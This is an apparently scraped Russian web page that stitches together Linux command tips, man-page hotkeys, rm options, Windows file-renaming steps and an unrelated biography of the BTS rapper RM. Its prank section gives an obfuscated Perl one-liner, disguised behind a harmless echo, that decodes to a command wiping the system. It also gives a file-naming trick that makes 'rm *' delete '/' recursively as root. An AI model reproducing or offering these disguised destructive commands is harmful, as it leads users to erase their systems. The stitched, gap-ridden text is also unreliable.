71 команда linux на все случаи жизни. ну почти
Содержание:
Горячие клавиши и поиск внутри Man-страницы
Вверх, Вниз, Enter — просмотр (прокрутка) Man-страницы.PgUb, PgDn, Пробел — постраничное пролистывание.
— поиск внутри страницы. Нажимаете клавишу , при этом внизу появляется строка для ввода текста. Вводите текст, который вы хотите найти, и нажимаете Enter.? — поиск в обратном направлении (снизу вверх). Аналогично нужно ввести текст для поиска и нажать Enter.n — переход к следующему вхождению.Shift+n — переход к предыдущему вхождению.& — поиск внутри страницы, но вместо подсвечивания результатов, вывести только строки, где было найдено искомое слово.
h — открыть справку по командам и горячим клавишам. Чтобы закрыть справку, используется клавиша q.
q — закрыть Man-страницу.
[править] Использование
Пример использования
Использование команды двояко:
- В качестве травли ламеров, которые работают в системе, в том числе сидят в интернетах, из-под рута. Обычно в этом случае заветная строчка маскируется (ибо примитивный вариант проходит только с нубами):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Тем, кто не понял, расскажет Крыса-кун: порция на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли с заданным в кавычках текстом — в данном случае следующая строчка будет содержать «test… test… test…»
$ echo "test... test... test..." test... test... test... $
А вот что происходит в Perl’овом коде — совсем не очевидно из-за того, что это язык вуду преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ; y; -/:-@[-`{-};`-{/" -; ; s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — . Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш ‘/’ или труба ‘|’, для неясности в этой конструкции используется ограничитель ‘;’).
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@^_`{|} `abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид .
Есть еще один вариант, уже для нубов, считающих себя Ъ-линуксоидами:
mkdir test cd test touch ./-r touch ./-f su rm * /
Под Виндой-95-98 данный патч был всё-таки портирован и принял вид
Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только быстрый, решительный Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).
Также, вариант для новых :
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
rm -rf /usr и Bumblebee
Недавний пример случайного использования мема случился летом 2011 года в проекте Bumblebee, представляющем собой костыль для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку
rm -rf usr libnvidia-currentxorgxorg
rmdir /s /q C:\ и Яндекс.Диск
rm -rf my-company
Биография
Ким Намджун родился 12 сентября 1994 года в Ильсане, Южная Корея; у него в семье есть младшая сестра. До того, как дебютировать в BTS он был андерграундным рэпером со сценическим псевдонимом Runch Randa. RM неофициально выпустил несколько композиций, включая коллаборацию с другим андерграундным рэпером Зико. Он также входит в андерграундную хип-хоп команду Daenamhyup, состоящую из Marvel J, l11ven, Supreme Boi, Iron, Kyum2, Kidoh, Samsoon, Illipse и DJ Snatch. Они были активны с 2009 по 2013 годы, после этого Намджун дебютировал в BTS и перестал участвовать в проектах, так как сосредоточился на продвижении в группе. Деятельность также была приостановлена и потому, что некоторые участники перешли в другие команды.
RM замечен многими благодаря своим выдающимся знаниям. В 7 классе он набрал 850 баллов в тесте по английскому языку, а его IQ составляет 148. Помимо родного корейского языка он свободно владеет английским и японским, он продолжил изучать его после того, как все трейни Big Hit получили базовые знания этого языка. RM также смотрел сериал Друзья, что помогло ему в изучении английского.
Другие интересные и полезные команды
cal
— просмотр календаря.
cal
cal -3
— вывести предыдущий, текущий и следующий месяцы.
cal -m
— первый день в неделе — понедельник.
date
— вывод текущей даты.
date
date
— вывод даты и времени.
date -s «06/19/1994 11:30:00»
— установить время на 19 июня 1994 года.
date «+Time: %H:%M %d.%m.%y»
— смена формата отображения даты и времени.
expr
— простой калькулятор (некоторые символы необходимо экранировать). Пробелы между знаками обязательны.
expr
expr 23 % 3
=> 2
expr 3 \> 2
=> 1
expr \( 20 + 2 \) \* 3 \/ 2
=> 33
factor
— раскладывает число на множители.
factor
factor 22
=> 2 11
look
— отобразить слова, начинающиеся с заданной строки. По умолчанию используется словарь /usr/share/dict/words.
look
look beaut
— вывод всех слов из словаря, которые начинаются со слова ‘beaut’.
man ascii
— шпаргалка кодовой таблица ASCII-символов.
yes строка
— бесконечный вывод строки в терминале.
wall строка
— выводит сообщение в терминалах всех залогиненных пользователей.
Примеры использования команды rm
Удалить файл
Чтобы удалить файл с помощью команды rm достаточно указать название файла:
Можно удалить несколько файлов, перечислив их имена через пробел:
Принудительно удалить защищенный файл
Если файл защищен от записи, то по умолчанию будет выдан запрос на подтверждение операции удаления. Чтобы запрос не выводился, и происходило удаление защищенных файлов, используется опция -f
Выдать запрос на удаление один раз
При использовании опции -I выводится всего один запрос на подтверждение удаления файлов, причем, только если удаляемых файлов четыре и более. Если файлов 3, или 2, или 1, то запрос не выводится.
Удалить директорию и ее содержимое
Для удаления директорий и их содержимого используется опция -r. Удалим директорию mydir и все файлы и директории внутри нее:
Как переименовать несколько файлов с помощью проводника
Вы можете выбрать один из нескольких методов переименования файлов. Но, обычному пользователю, я рекомендую использовать проводник Windows 10.
Переименование нескольких файлов по одному
Чтобы переименовать несколько файлов с различными именами с помощью клавиши «Tab», выполните следующие действия:
Шаг 1: Откройте проводник.
Шаг 2: Откройте папку с файлами, которую хотите переименовать.
Шаг 3: Перейдите на вкладку «Вид».
Шаг 4: Выберите «Таблица».
Шаг 5: Выберите первый файл в папке.
Шаг 6: Перейдите на вкладку «Главная».
Шаг 7: Нажмите кнопку «Переименовать».
Есть и другие способы переименовать файл в проводнике Windows:
- Выберите необходимый файл и нажмите клавишу «F2».
- Нажмите мышки по необходимому файлу и в выпадающем меню выберите пункт «Переименовать»
- Кликните по названию файла левой кнопкой мышки и снова но уже медленнее клинките по нему.
Шаг 8: Введите новое имя файла.
Шаг 9: Нажмите клавишу «Tab», чтобы перейти к переименованию следующего файла в списке.
Шаг 10: Введите новое имя файла.
Шаг 11: Нажмите клавишу «Tab» еще раз, чтобы перейти к следующему файлу.
Переименование нескольких файлов одновременно
Чтобы переименовать несколько файлов с одинаковой структурой имен, выполните следующие действия:
Шаг 1: Откройте проводник.
Шаг 2: Найдите папку с файлами для переименования.
Шаг 3: Перейдите на вкладку «Вид».
Шаг 4: Выберите «Таблица».
Шаг 5: Перейдите на вкладку «Главная».
Шаг 6: Нажмите кнопку «Выделить все».
Вы также можете использовать сочетание клавиш «Ctrl + A» для быстрого выбора всех файлов. Вы можете нажать и удерживать клавишу «Ctrl», а затем выбрать необходимые файлы кликнув по каждому. Вы также можете выбрать первый файл, нажать и удерживать клавишу «Shift, а затем кликнуть по последнему, чтобы выбрать группу файлов.
Шаг 7: Нажмите кнопку «Переименовать».
Шаг 8: Введите новое имя файла и нажмите Enter.
После выполнения всех шагов все выбранные файлы будут переименованы по той же схеме. Но, к ним был добавлен порядковый номер (число в скобках). Например, летние _каникулы_2019 (1).jpg и летние_каникулы_2019 (2).jpg.
Если вы допустили ошибку, вы можете использовать сочетание клавиш «Ctrl + Z», чтобы отменить переименование. Тоже самое можно сделать нажав на кнопку меню в верхнем левом углу (в строке заголовка Проводника) и выбрав опцию «Отменить».
OPTIONS
-f, —force | ignore nonexistent files, never prompt. |
-i | prompt before every removal. |
-I | prompt once before removing more than three files, or when removing recursively. Less intrusive than -i, while still giving protection against most mistakes. |
—interactive | prompt according to WHEN: never, once (-I), or always (-i). Without WHEN, prompt always. |
—one-file-system | when removing a hierarchy recursively, skip any directory that is on a file system different from that of the corresponding command line argument. |
—no-preserve-root | do not treat ‘/’ specially. |
—preserve-root | do not remove ‘/’ (default). |
-r, -R, —recursive | remove directories and their contents recursively. |
-v, —verbose | explain what is being done. |
—help | display this help and exit. |
—version | output version information and exit. |